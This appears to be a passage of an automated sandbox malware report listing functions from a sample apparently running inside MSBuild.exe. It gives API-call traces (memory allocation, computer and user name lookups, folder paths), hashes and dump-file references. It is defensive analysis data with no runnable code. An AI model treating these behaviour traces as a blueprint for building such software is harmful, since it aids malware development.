Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction ID: e0be25968149aafb42a348446a4bf8d1b8c1be94a7ef2c7b8365e7541d0fe6a1
Opcode Fuzzy Hash: 7196fd1d7fdf7034ddb2e375c3baa252de905fd29263ed2394349883f6641c50
Instruction Fuzzy Hash: D9916571911108ABDB04FBE1DD52EEE7339AF14314F40452EF507A6091EF386A99CBBA

Function 0040B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B42E
lstrlenA.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: 1bb70f0f7b802db361104b8de629577cdd17b6d15550e8d3a417d2542ba31408
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 00406660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406DBE,00406DBE,00003000,00000040), ref: 00406706
VirtualAlloc.KERNEL32(00000000,00406DBE,00003000,00000040), ref: 00406753

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction ID: cfb135ee3c51d7510548447878d0c09a9e1e3ef004be55e97ea32f204b2e5fca
Opcode Fuzzy Hash: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction Fuzzy Hash: B741EE74A00209EFCB44CF58C494BADBBB1FF44314F1486A9E95AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00418D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction ID: c33170cd47b5ddaf33f3bd529e3e9bd0b8526aec605854159e3974d419e7fdd8
Opcode Fuzzy Hash: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction Fuzzy Hash: C0F01574C00208EBCB00EFA4E5496DDBB74EB11324F10819EE826673C0DB796A96DB89

Function 00418DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction ID: e82dd92a107a558878b8aedbded484b2d7625ea591a662ceffa58b28bb8b597d
Opcode Fuzzy Hash: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction Fuzzy Hash: EEE01A75A4034C7BDB91EB90CC96FEE737CDB44B11F004299BA0C5A1C0DE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 00409880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410759,?,?), ref: 00409888

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction ID: cd962e32a7d49cb5ce85c4f0a2f24118ebc1676ac18b43bdebb71eb25e5ca396
Opcode Fuzzy Hash: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction Fuzzy Hash: C8F054B5D10208FBDB00EFA4D846B9EBBB4EB08300F1084A9E905A7381E6749B14CB95

Non-executed Functions

Function 6C516C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C516CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C516D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C516D26

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C516D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C516D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C516D73
free.MOZGLUE(00000000), ref: 6C516D80
CertGetNameStringW.CRYPT32 ref: 6C516DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C516DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C516DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C516DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C516E10
CryptMsgClose.CRYPT32(00000000), ref: 6C516E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C516E34
CreateFileW.KERNEL32 ref: 6C516EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C516F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C516F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C51709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C517103
free.MOZGLUE(00000000), ref: 6C517153
CloseHandle.KERNEL32(?), ref: 6C517176
__Init_thread_footer.LIBCMT ref: 6C517209
__Init_thread_footer.LIBCMT ref: 6C51723A
__Init_thread_footer.LIBCMT ref: 6C51726B
__Init_thread_footer.LIBCMT ref: 6C51729C
__Init_thread_footer.LIBCMT ref: 6C5172DC
__Init_thread_footer.LIBCMT ref: 6C51730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5173C2
VerSetConditionMask.NTDLL ref: 6C5173F3
VerSetConditionMask.NTDLL ref: 6C5173FF
VerSetConditionMask.NTDLL ref: 6C517406
VerSetConditionMask.NTDLL ref: 6C51740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C51741A
moz_xmalloc.MOZGLUE(?), ref: 6C51755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C517568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C517585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C517598
free.MOZGLUE(00000000), ref: 6C5175AC

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

Strings

SHA256, xrefs: 6C516EC0
(, xrefs: 6C51768A
wintrust.dll, xrefs: 6C5172CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C5172C8

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: a215de4c99f49aa17b78ebeff03b39a45d764e3a41d83a60415d687a5c093059
Instruction ID: 29b9143845e1026bb3015a5c0a9b3b4962b574e8f33d15277e67a7b83d790606
Opcode Fuzzy Hash: a215de4c99f49aa17b78ebeff03b39a45d764e3a41d83a60415d687a5c093059
Instruction Fuzzy Hash: CB52D671A05324DBFB21DF24CC88BAA77BCEB8A304F115599E90997A40DB70AF85CF51

Function 6C54F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C54F09B

Part of subcall function 6C525B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5256EE,?,00000001), ref: 6C525B85
Part of subcall function 6C525B50: EnterCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525B90
Part of subcall function 6C525B50: LeaveCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525BD8
Part of subcall function 6C525B50: GetTickCount64.KERNEL32 ref: 6C525BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C54F0AC

Part of subcall function 6C525C50: GetTickCount64.KERNEL32 ref: 6C525D40
Part of subcall function 6C525C50: EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C54F0BE

Part of subcall function 6C525C50: __aulldiv.LIBCMT ref: 6C525DB4
Part of subcall function 6C525C50: LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C525DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C54F155
GetCurrentThreadId.KERNEL32 ref: 6C54F1E0
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F1ED
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F212
GetCurrentThreadId.KERNEL32 ref: 6C54F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F248
GetCurrentThreadId.KERNEL32 ref: 6C54F2AE
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F2BB
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F2F8

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F350
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F35D
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F381
GetCurrentThreadId.KERNEL32 ref: 6C54F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F3A0
GetCurrentThreadId.KERNEL32 ref: 6C54F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F491

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F3CF

Part of subcall function 6C54F070: GetCurrentThreadId.KERNEL32 ref: 6C54F440
